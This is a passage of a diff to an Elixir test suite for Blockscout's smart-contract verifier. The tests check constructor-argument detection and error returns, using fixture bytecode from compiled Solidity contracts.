c160e01b81526020600482015260066024820152654f7261636c6560d01b60448201526064916001600160a01b03169063bf40fac190830160206040518083038186803b158015610f2f57600080fd5b505afa158015610f43573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f67919061195f565b60405163048cc1a760e51b8152600060048201526001600160a01b03919091169063919834e09060240160206040518083038186803b158015610fa957600080fd5b505afa158015610fbd573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fe19190611a96565b600454610fee9190611ea6565b6106629190611e86565b61100061064d565b15156001146110215760405162461bcd60e51b815260040161054090611d5d565b8261106e5760405162461bcd60e51b815260206004820152601d60248201527f596f75206e65656420746f2061636365707420746865207465726d732e0000006044820152606401610540565b8061108b5760405162461bcd60e51b815260040161054090611d18565b6001600087828111156110ae57634e487b7160e01b600052602160045260246000fd5b905060006110bc838a610386565b6001546040516370a0823160e01b81526001600160a01b038084166004830152929350600092909116906370a082319060240160206040518083038186803b15801561110757600080fd5b505afa15801561111b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061113f9190611a96565b9050808911156111a95760405162461bcd60e51b815260206004820152602f60248201527f4e6f7420656e6f7567682061737365747320617661696c61626c6520746f206260448201526e3abc903a3430ba1030b6b7bab73a1760891b6064820152608401610540565b600254604051627eeac760e11b8152336004820152602481018590528a916001600160a01b03169062fdd58e9060440160206040518083038186803b1580156111f157600080fd5b505afa158015611205573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112299190611a96565b10156112ad5760405162461bcd60e51b815260206004820152604760248201527f596f75206e65656420746f206f776e20656e6f7567682070726573616c65207660448201527f6f75636865727320746f2072656465656d20746865207370656369666965642060648201526630b6b7bab73a1760c91b608482015260a401610540565b604080516001808252818301909252600091602080830190803683375050604080516001808252818301909252929350600092915060208083019080368337019050509050848260008151811061131457634e487b7160e01b600052603260045260246000fd5b6020026020010181815250508a8160008151811061134257634e487b7160e01b600052603260045260246000fd5b6020908102919091010152600254604051637507c42960e11b81526001600160a01b039091169063ea0f88529061138190339086908690600401611c36565b600060405180830381600087803b15801561139b57600080fd5b505af11580156113af573d6000803e3d6000fd5b505050506113c38a8d8d89888860006115ce565b505050505050505050505050565b60005460405163bf40fac160e01b81526001600160a01b039091169063bf40fac1906113ff90600401611ce8565b60206040518083038186803b15801561141757600080fd5b505afa15801561142b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061144f919061195f565b6001600160a01b0316336001600160a01b03161461147f5760405162461bcd60e51b815260040161054090611da8565b60405163a22cb46560e01b81526001600160a01b0382811660048301526001602483015283169063a22cb46590604401600060405180830381600087803b1580156114c957600080fd5b505af11580156114dd573d6000803e3d6000fd5b505050505050565b60005460405163bf40fac160e01b81526001600160a01b039091169063bf40fac19061151390600401611dfe565b60206040518083038186803b15801561152b57600080fd5b505afa15801561153f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611563919061195f565b6001600160a01b0316336001600160a01b0316146115935760405162461bcd60e51b815260040161054090611e23565b60058190556040518181527f397a093f9e29b7327f453f9672278c54e4daed6b689ee9bb458ae76800452ad59060200160405180910390a150565b60005b858110156117e157600180546000916001600160a01b0390911690632f745c599087906115fe8689611ec5565b6116089190611ec5565b6040516001600160e01b031960e085901b1681526001600160a01b039092166004830152602482015260440160206040518083038186803b15801561164c57600080fd5b505afa158015611660573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116849190611a96565b600154604051632142170760e11b81526001600160a01b0388811660048301528c81166024830152604482018490529293509116906342842e0e90606401600060405180830381600087803b1580156116dc57600080fd5b505af11580156116f0573d6000803e3d6000fd5b505050508088600181111561171557634e487b7160e01b600052602160045260246000fd5b604080516001600160a01b038d168152891515602082015290810186905233907f1682a2a055cfda159fc278195b31d5f7ab61f5128c423fa0ea2bf511565a9b6d9060600160405180910390a46003546001805460405163ebaf492d60e01b81526001600160a01b039384169363ebaf492d9361179b9390911691869190600401611c76565b600060405180830381600087803b1580156117b557600080fd5b505af11580156117c9573d6000803e3d6000fd5b505050505080806117d990611edc565b9150506115d1565b5050505050505050565b8047101561183b5760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a20696e73756666696369656e742062616c616e63650000006044820152606401610540565b6000826001600160a01b03168260405160006040518083038185875af1925050503d8060008114611888576040519150601f19603f3d011682016040523d82523d6000602084013e61188d565b606091505b50509050806106485760405162461bcd60e51b815260206004820152603a60248201527f416464726573733a20756e61626c6520746f2073656e642076616c75652c207260448201527f6563697069656e74206d617920686176652072657665727465640000000000006064820152608401610540565b80356002811061191357600080fd5b919050565b60008083601f840112611929578182fd5b50813567ffffffffffffffff811115611940578182fd5b60208301915083602082850101111561195857600080fd5b9250929050565b600060208284031215611970578081fd5b815161048b81611f0d565b600080600080600060808688031215611992578081fd5b853561199d81611f0d565b94506119ab60208701611904565b935060408601356119bb81611f25565b9250606086013567ffffffffffffffff8111156119d6578182fd5b6119e288828901611918565b969995985093965092949392505050565b600080600060408486031215611a07578283fd5b8335611a1281611f0d565b9250602084013567ffffffffffffffff811115611a2d578283fd5b611a3986828701611918565b9497909650939450505050565b600060208284031215611a57578081fd5b815161048b81611f25565b60008060408385031215611a74578182fd5b8235611a7f81611f25565b9150611a8d60208401611904565b90509250929050565b600060208284031215611aa7578081fd5b5051919050565b600060208284031215611abf578081fd5b813561048b81611f0d565b60008060408385031215611adc578182fd5b8235611ae781611f0d565b91506020830135611af781611f0d565b809150509250929050565b60008060008060608587031215611b17578384fd5b611b2085611904565b93506020850135611b3081611f25565b9250604085013567ffffffffffffffff811115611b4b578283fd5b611b5787828801611918565b95989497509550505050565b60008060008060008060a08789031215611b7b578081fd5b611b8487611904565b9550602087013594506040870135611b9b81611f0d565b93506060870135611bab81611f25565b9250608087013567ffffffffffffffff811115611bc6578182fd5b611bd289828a01611918565b979a9699509497509295939492505050565b600060208284031215611bf5578081fd5b5035919050565b6000815180845260208085019450808401835b83811015611c2b57815187529582019590820190600101611c0f565b509495945050505050565b6001600160a01b0384168152606060208201819052600090611c5a90830185611bfc565b8281036040840152611c6c8185611bfc565b9695505050505050565b6001600160a01b0384168152602081018390526060810160048310611cab57634e487b7160e01b600052602160045260246000fd5b826040830152949350505050565b60208152816020820152818360408301376000818301604090810191909152601f909201601f19160101919050565b6020808252601690820152751d1bdad95b905cdcda59db9b595b9d10dbdb9d1c9bdb60521b604082015260600190565b60208082526025908201527f596f75206e65656420746f2073656e642074686520616363657074616e6365206040820152643a32bc3a1760d91b606082015260800190565b6020808252602b908201527f546869732063616c6c206f6e6c7920776f726b73207768656e2074686520736860408201526a37b81034b99037b832b71760a91b606082015260800190565b60208082526036908201527f746f6b656e41737369676e6d656e74436f6e74726f6c206b65792072657175696040820152753932b2103337b9103a3434b990333ab731ba34b7b71760511b606082015260800190565b6020808252600b908201526a1cda1bdc10dbdb9d1c9bdb60aa1b604082015260600190565b6020808252602b908201527f73686f70436f6e74726f6c206b657920726571756972656420666f722074686960408201526a3990333ab731ba34b7b71760a91b606082015260800190565b60008219821115611e8157611e81611ef7565b500190565b600082611ea157634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611ec057611ec0611ef7565b500290565b600082821015611ed757611ed7611ef7565b500390565b6000600019821415611ef057611ef0611ef7565b5060010190565b634e487b7160e01b600052601160045260246000fd5b6001600160a01b0381168114611f2257600080fd5b50565b8015158114611f2257600080fdfea2646970667358221220f2e9ba9e74b25591261868f1d84c2beef56c6930ea91cecb35779eaf5d20ba0b64736f6c63430008040033596f75206e65656420746f2070726f7669646520616e2061637475616c2043720000000000000000000000000884fc15e31b1b634732e140cb3f94b3cbfdd1c500000000000000000000000065fa22ba3d2ae2fcace9aabd40ef4605fa6365680000000000000000000000003151b7dd9f6e806d2709153765925c373af470890000000000000000000000000e76fdd1c4dc5336c8a083f709fd415eaf32b9bf00000000000000000000000000000000000000000000000000000000000003de00000000000000000000000000000000000000000000000000000000000000c000000000000000000000000000000000000000000000000000000000000000040000000000000000000000008abc5ad351bf625b71b41872145a9f78df35bbd3000000000000000000000000f1044e94a41a4ce7a132755f041811aa11e2891f000000000000000000000000c52d7b6293d8f772f25db88fb44f9ecd1be5a7c8000000000000000000000000a5a1e60613312a15d327e6347389ceec4e173ba1" - - contract_address = insert(:contract_address, contract_code: bytecode) - - :transaction - |> insert( - created_contract_address_hash: contract_address.hash, - input: contract_creation_code - ) - |> with_block(status: :ok) - - params = %{ - "contract_source_code" => contract_source_code, - "compiler_version" => "v0.8.4+commit.c7e474f2", - "evm_version" => "default", - "name" => "CS3_1OnChainShop", - "optimization" => true, - "optimization_runs" => 200, - "autodetect_constructor_args" => true - } - - assert {:ok, - %{ - abi: abi, - constructor_arguments: - "0000000000000000000000000884fc15e31b1b634732e140cb3f94b3cbfdd1c500000000000000000000000065fa22ba3d2ae2fcace9aabd40ef4605fa6365680000000000000000000000003151b7dd9f6e806d2709153765925c373af470890000000000000000000000000e76fdd1c4dc5336c8a083f709fd415eaf32b9bf00000000000000000000000000000000000000000000000000000000000003de00000000000000000000000000000000000000000000000000000000000000c000000000000000000000000000000000000000000000000000000000000000040000000000000000000000008abc5ad351bf625b71b41872145a9f78df35bbd3000000000000000000000000f1044e94a41a4ce7a132755f041811aa11e2891f000000000000000000000000c52d7b6293d8f772f25db88fb44f9ecd1be5a7c8000000000000000000000000a5a1e60613312a15d327e6347389ceec4e173ba1" - }} = Verifier.evaluate_authenticity(contract_address.hash, params) - - assert abi != nil + :transaction + |> insert( + created_contract_address_hash: contract_address.hash, + input: contract_creation_code + ) + |> with_block(status: :ok) + + params = %{ + "contract_source_code" => contract_source_code, + "compiler_version" => "v0.8.14-nightly.2022.4.13+commit.25923c1f", + "evm_version" => "default", + "name" => "C", + "optimization" => false, + "autodetect_constructor_args" => true + } + + assert {:ok, + %{ + abi: abi + }} = Verifier.evaluate_authenticity(contract_address.hash, params) + + assert abi != nil + end + + test "issue 5431 (smart contract was compiled with bytecodeHash=none; constructor with arguments)" do + contract_source_code = + "#{File.cwd!()}/test/support/fixture/smart_contract/issue_5431.sol" + |> File.read!() + + bytecode = + "0x608060405234801561001057600080fd5b50600436106100365760003560e01c8063893d20e81461003b578063a6f9dae114610059575b600080fd5b610043610075565b604051610050919061022a565b60405180910390f35b610073600480360381019061006e9190610276565b61009e565b005b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461012c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161012390610300565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f342827c97908e5e2f71151c08502a66d44b6f758e3ac2f1de95f02eb95f0a73560405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000610214826101e9565b9050919050565b61022481610209565b82525050565b600060208201905061023f600083018461021b565b92915050565b600080fd5b61025381610209565b811461025e57600080fd5b50565b6000813590506102708161024a565b92915050565b60006020828403121561028c5761028b610245565b5b600061029a84828501610261565b91505092915050565b600082825260208201905092915050565b7f43616c6c6572206973206e6f74206f776e657200000000000000000000000000600082015250565b60006102ea6013836102a3565b91506102f5826102b4565b602082019050919050565b60006020820190508181036000830152610319816102dd565b905091905056fea164736f6c6343000808000a" + + contract_creation_code = + "0x608060405234801561001057600080fd5b506040516104e13803806104e183398181016040528101906100329190610165565b336000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f342827c97908e5e2f71151c08502a66d44b6f758e3ac2f1de95f02eb95f0a73560405160405180910390a350506101a5565b600080fd5b6000819050919050565b61010c816100f9565b811461011757600080fd5b50565b60008151905061012981610103565b92915050565b6000819050919050565b6101428161012f565b811461014d57600080fd5b50565b60008151905061015f81610139565b92915050565b6000806040838503121561017c5761017b6100f4565b5b600061018a8582860161011a565b925050602061019b85828601610150565b9150509250929050565b61032d806101b46000396000f3fe608060405234801561001057600080fd5b50600436106100365760003560e01c8063893d20e81461003b578063a6f9dae114610059575b600080fd5b610043610075565b604051610050919061022a565b60405180910390f35b610073600480360381019061006e9190610276565b61009e565b005b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461012c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161012390610300565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f342827c97908e5e2f71151c08502a66d44b6f758e3ac2f1de95f02eb95f0a73560405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000610214826101e9565b9050919050565b61022481610209565b82525050565b600060208201905061023f600083018461021b565b92915050565b600080fd5b61025381610209565b811461025e57600080fd5b50565b6000813590506102708161024a565b92915050565b60006020828403121561028c5761028b610245565b5b600061029a84828501610261565b91505092915050565b600082825260208201905092915050565b7f43616c6c6572206973206e6f74206f776e657200000000000000000000000000600082015250565b60006102ea6013836102a3565b91506102f5826102b4565b602082019050919050565b60006020820190508181036000830152610319816102dd565b905091905056fea164736f6c6343000808000afffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040000000000000000000000000000000000000000000000000000000000005886" + + contract_address = insert(:contract_address, contract_code: bytecode) + + :transaction + |> insert( + created_contract_address_hash: contract_address.hash, + input: contract_creation_code + ) + |> with_block(status: :ok) + + params = %{ + "contract_source_code" => contract_source_code, + "compiler_version" => "v0.8.8+commit.dddeac2f", + "evm_version" => "default", + "name" => "Owner", + "optimization" => false, + "autodetect_constructor_args" => true + } + + assert {:ok, + %{ + abi: abi, + constructor_arguments: + "fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040000000000000000000000000000000000000000000000000000000000005886" + }} = Verifier.evaluate_authenticity(contract_address.hash, params) + + assert abi != nil + end end - test "issue 5430, 5434" do - contract_source_code = "contract C {function test() external pure returns (uint256) { return 1;} }" + describe "cover new functionality from https://github.com/blockscout/blockscout/pull/5479" do + test "return {:error, :no_creation_data} when there is no contract creation code" do + contract_source_code = + "#{File.cwd!()}/test/support/fixture/smart_contract/issue_5431.sol" + |> File.read!() - bytecode = - "0x6080604052348015600f57600080fd5b506004361060285760003560e01c8063f8a8fd6d14602d575b600080fd5b60336047565b604051603e91906067565b60405180910390f35b60006001905090565b6000819050919050565b6061816050565b82525050565b6000602082019050607a6000830184605a565b9291505056fea164736f6c637823302e382e31342d63692e323032322e342e31332b636f6d6d69742e3235393233633166002b" + bytecode = + "0x608060405234801561001057600080fd5b50600436106100365760003560e01c8063893d20e81461003b578063a6f9dae114610059575b600080fd5b610043610075565b604051610050919061022a565b60405180910390f35b610073600480360381019061006e9190610276565b61009e565b005b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461012c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161012390610300565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f342827c97908e5e2f71151c08502a66d44b6f758e3ac2f1de95f02eb95f0a73560405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000610214826101e9565b9050919050565b61022481610209565b82525050565b600060208201905061023f600083018461021b565b92915050565b600080fd5b61025381610209565b811461025e57600080fd5b50565b6000813590506102708161024a565b92915050565b60006020828403121561028c5761028b610245565b5b600061029a84828501610261565b91505092915050565b600082825260208201905092915050565b7f43616c6c6572206973206e6f74206f776e657200000000000000000000000000600082015250565b60006102ea6013836102a3565b91506102f5826102b4565b602082019050919050565b60006020820190508181036000830152610319816102dd565b905091905056fea164736f6c6343000808000a" - contract_creation_code = - "0x608060405234801561001057600080fd5b5060ae8061001f6000396000f3fe6080604052348015600f57600080fd5b506004361060285760003560e01c8063f8a8fd6d14602d575b600080fd5b60336047565b604051603e91906067565b60405180910390f35b60006001905090565b6000819050919050565b6061816050565b82525050565b6000602082019050607a6000830184605a565b9291505056fea164736f6c637823302e382e31342d63692e323032322e342e31332b636f6d6d69742e3235393233633166002b" + contract_address = insert(:contract_address, contract_code: bytecode) - contract_address = insert(:contract_address, contract_code: bytecode) + params = %{ + "contract_source_code" => contract_source_code, + "compiler_version" => "v0.8.8+commit.dddeac2f", + "evm_version" => "default", + "name" => "Owner", + "optimization" => false, + "autodetect_constructor_args" => true + } - :transaction - |> insert( - created_contract_address_hash: contract_address.hash, - input: contract_creation_code - ) - |> with_block(status: :ok) + assert {:error, :no_creation_data} = Verifier.evaluate_authenticity(contract_address.hash, params) + end - params = %{ - "contract_source_code" => contract_source_code, - "compiler_version" => "v0.8.14-nightly.2022.4.13+commit.25923c1f", - "evm_version" => "default", - "name" => "C", - "optimization" => false, - "autodetect_constructor_args" => true - } + test "return {:error, :deployed_bytecode}" do + contract_source_code = + "#{File.cwd!()}/test/support/fixture/smart_contract/issue_5431.sol" + |> File.read!() - assert {:ok, - %{ - abi: abi - }} = Verifier.evaluate_authenticity(contract_address.hash, params) + contract_creation_code = + "0x608060405234801561001057600080fd5b506040516104e13803806104e183398181016040528101906100329190610165565b336000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f342827c97908e5e2f71151c08502a66d44b6f758e3ac2f1de95f02eb95f0a73560405160405180910390a350506101a5565b600080fd5b6000819050919050565b61010c816100f9565b811461011757600080fd5b50565b60008151905061012981610103565b92915050565b6000819050919050565b6101428161012f565b811461014d57600080fd5b50565b60008151905061015f81610139565b92915050565b6000806040838503121561017c5761017b6100f4565b5b600061018a8582860161011a565b925050602061019b85828601610150565b9150509250929050565b61032d806101b46000396000f3fe608060405234801561001057600080fd5b50600436106100365760003560e01c8063893d20e81461003b578063a6f9dae114610059575b600080fd5b610043610075565b604051610050919061022a565b60405180910390f35b610073600480360381019061006e9190610276565b61009e565b005b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461012c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161012390610300565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f342827c97908e5e2f71151c08502a66d44b6f758e3ac2f1de95f02eb95f0a73560405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000610214826101e9565b9050919050565b61022481610209565b82525050565b600060208201905061023f600083018461021b565b92915050565b600080fd5b61025381610209565b811461025e57600080fd5b50565b6000813590506102708161024a565b92915050565b60006020828403121561028c5761028b610245565b5b600061029a84828501610261565b91505092915050565b600082825260208201905092915050565b7f43616c6c6572206973206e6f74206f776e657200000000000000000000000000600082015250565b60006102ea6013836102a3565b91506102f5826102b4565b602082019050919050565b60006020820190508181036000830152610319816102dd565b905091905056fea164736f6c6343000808000afffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040000000000000000000000000000000000000000000000000000000000005886" - assert abi != nil - end + contract_address = insert(:contract_address, contract_code: "0x") - test "issue 5431 (smart contract was compiled with bytecodeHash=none; constructor with arguments)" do - contract_source_code = - "#{File.cwd!()}/test/support/fixture/smart_contract/issue_5431.sol" - |> File.read!() - - bytecode = - "0x608060405234801561001057600080fd5b50600436106100365760003560e01c8063893d20e81461003b578063a6f9dae114610059575b600080fd5b610043610075565b604051610050919061022a565b60405180910390f35b610073600480360381019061006e9190610276565b61009e565b005b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461012c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161012390610300565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f342827c97908e5e2f71151c08502a66d44b6f758e3ac2f1de95f02eb95f0a73560405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000610214826101e9565b9050919050565b61022481610209565b82525050565b600060208201905061023f600083018461021b565b92915050565b600080fd5b61025381610209565b811461025e57600080fd5b50565b6000813590506102708161024a565b92915050565b60006020828403121561028c5761028b610245565b5b600061029a84828501610261565b91505092915050565b600082825260208201905092915050565b7f43616c6c6572206973206e6f74206f776e657200000000000000000000000000600082015250565b60006102ea6013836102a3565b91506102f5826102b4565b602082019050919050565b60006020820190508181036000830152610319816102dd565b905091905056fea164736f6c6343000808000a" - - contract_creation_code = - "0x608060405234801561001057600080fd5b506040516104e13803806104e183398181016040528101906100329190610165565b336000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f342827c97908e5e2f71151c08502a66d44b6f758e3ac2f1de95f02eb95f0a73560405160405180910390a350506101a5565b600080fd5b6000819050919050565b61010c816100f9565b811461011757600080fd5b50565b60008151905061012981610103565b92915050565b6000819050919050565b6101428161012f565b811461014d57600080fd5b50565b60008151905061015f81610139565b92915050565b6000806040838503121561017c5761017b6100f4565b5b600061018a8582860161011a565b925050602061019b85828601610150565b9150509250929050565b61032d806101b46000396000f3fe608060405234801561001057600080fd5b50600436106100365760003560e01c8063893d20e81461003b578063a6f9dae114610059575b600080fd5b610043610075565b604051610050919061022a565b60405180910390f35b610073600480360381019061006e9190610276565b61009e565b005b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461012c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161012390610300565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f342827c97908e5e2f71151c08502a66d44b6f758e3ac2f1de95f02eb95f0a73560405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000610214826101e9565b9050919050565b61022481610209565b82525050565b600060208201905061023f600083018461021b565b92915050565b600080fd5b61025381610209565b811461025e57600080fd5b50565b6000813590506102708161024a565b92915050565b60006020828403121561028c5761028b610245565b5b600061029a84828501610261565b91505092915050565b600082825260208201905092915050565b7f43616c6c6572206973206e6f74206f776e657200000000000000000000000000600082015250565b60006102ea6013836102a3565b91506102f5826102b4565b602082019050919050565b60006020820190508181036000830152610319816102dd565b905091905056fea164736f6c6343000808000afffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040000000000000000000000000000000000000000000000000000000000005886" - - contract_address = insert(:contract_address, contract_code: bytecode) - - :transaction - |> insert( - created_contract_address_hash: contract_address.hash, - input: contract_creation_code - ) - |> with_block(status: :ok) - - params = %{ - "contract_source_code" => contract_source_code, - "compiler_version" => "v0.8.8+commit.dddeac2f", - "evm_version" => "default", - "name" => "Owner", - "optimization" => false, - "autodetect_constructor_args" => true - } - - assert {:ok, - %{ - abi: abi, - constructor_arguments: - "fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040000000000000000000000000000000000000000000000000000000000005886" - }} = Verifier.evaluate_authenticity(contract_address.hash, params) - - assert abi != nil + :transaction + |> insert( + created_contract_address_hash: contract_address.hash, + input: contract_creation_code + ) + |> with_block(status: :ok) + + params = %{ + "contract_source_code" => contract_source_code, + "compiler_version" => "v0.8.8+commit.dddeac2f", + "evm_version" => "default", + "name" => "Owner", + "optimization" => false, + "autodetect_constructor_args" => true + } + + assert {:error, :deployed_bytecode} = Verifier.evaluate_authenticity(contract_address.hash, params) + end end - end - describe "cover new functionality from https://github.com/blockscout/blockscout/pull/5479" do - test "return {:error, :no_creation_data} when there is no contract creation code" do - contract_source_code = - "#{File.cwd!()}/test/support/fixture/smart_contract/issue_5431.sol" - |> File.read!() + describe "tests from constructor_arguments_test.exs" do + test "verifies with require messages" do + source_code = + "#{File.cwd!()}/test/support/fixture/smart_contract/home_bridge.sol" + |> File.read!() - bytecode = - "0x608060405234801561001057600080fd5b50600436106100365760003560e01c8063893d20e81461003b578063a6f9dae114610059575b600080fd5b610043610075565b604051610050919061022a565b60405180910390f35b610073600480360381019061006e9190610276565b61009e565b005b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461012c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161012390610300565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f342827c97908e5e2f71151c08502a66d44b6f758e3ac2f1de95f02eb95f0a73560405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000610214826101e9565b9050919050565b61022481610209565b82525050565b600060208201905061023f600083018461021b565b92915050565b600080fd5b61025381610209565b811461025e57600080fd5b50565b6000813590506102708161024a565b92915050565b60006020828403121561028c5761028b610245565b5b600061029a84828501610261565b91505092915050565b600082825260208201905092915050565b7f43616c6c6572206973206e6f74206f776e657200000000000000000000000000600082015250565b60006102ea6013836102a3565b91506102f5826102b4565b602082019050919050565b60006020820190508181036000830152610319816102dd565b905091905056fea164736f6c6343000808000a" + constructor_arguments = + "000000000000000000000000fb5a36f0e12cef9f88d95f0e02cad4ba183336dc0000000000000000000000000000000000000000000000000000000000000032" - contract_address = insert(:contract_address, contract_code: bytecode) + input = + "608060405234801561001057600080fd5b50604051604080610c2e8339810180604052604081101561003057600080fd5b5080516020909101516001600160a01b038216610098576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180610c0b6023913960400191505060405180910390fd5b60648111156100f2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526034815260200180610bd76034913960400191505060405180910390fd5b600180546001600160a01b0319166001600160a01b039390931692909217909155600255610ab2806101256000396000f3fe6080604052600436106100555760003560e01c806305dab2881461005a5780630b1ec76014610081578063236459c7146100b2578063397bc6411461010b578063b60d428814610135578063f176cde71461013f575b600080fd5b34801561006657600080fd5b5061006f610184565b60408051918252519081900360200190f35b34801561008d57600080fd5b5061009661018a565b604080516001600160a01b039092168252519081900360200190f35b3480156100be57600080fd5b506100f7600480360360808110156100d557600080fd5b50803590602081013590604081013590606001356001600160a01b0316610199565b604080519115158252519081900360200190f35b34801561011757600080fd5b506100f76004803603602081101561012e57600080fd5b50356103c7565b61013d6103df565b005b34801561014b57600080fd5b5061013d6004803603608081101561016257600080fd5b50803590602081013590604081013590606001356001600160a01b03166103e1565b60025481565b6001546001600160a01b031681565b60006001600160a01b0382166101e357604051600160e51b62461bcd028152600401808060200182810382526027815260200180610a3a6027913960400191505060405180910390fd5b6000831161023b5760408051600160e51b62461bcd02815260206004820152601760248201527f616d6f756e74206d757374206e6f74206265207a65726f000000000000000000604482015290519081900360640190fd5b60408051602080820188905281830187905260608083018790526001600160a01b038616901b608083015282516074818403018152609490920183528151918101919091206000818152918290529190206002015460ff16156102e85760408051600160e51b62461bcd02815260206004820152601a60248201527f7472616e7366657220616c726561647920636f6d706c65746564000000000000604482015290519081900360640190fd5b600081815260208190526040812060010190805b82548110156103b15760015483546001600160a01b039091169063facd743b9085908490811061032857fe5b600091825260209182902001546040805163ffffffff851660e01b81526001600160a01b0390921660048301525160248083019392829003018186803b15801561037157600080fd5b505afa158015610385573d6000803e3d6000fd5b505050506040513d602081101561039b57600080fd5b5051156103a9576001820191505b6001016102fc565b506103ba61070c565b1115979650505050505050565b60006020819052908152604090206002015460ff1681565b565b60408051602080820187905281830186905260608083018690526001600160a01b038516901b60808301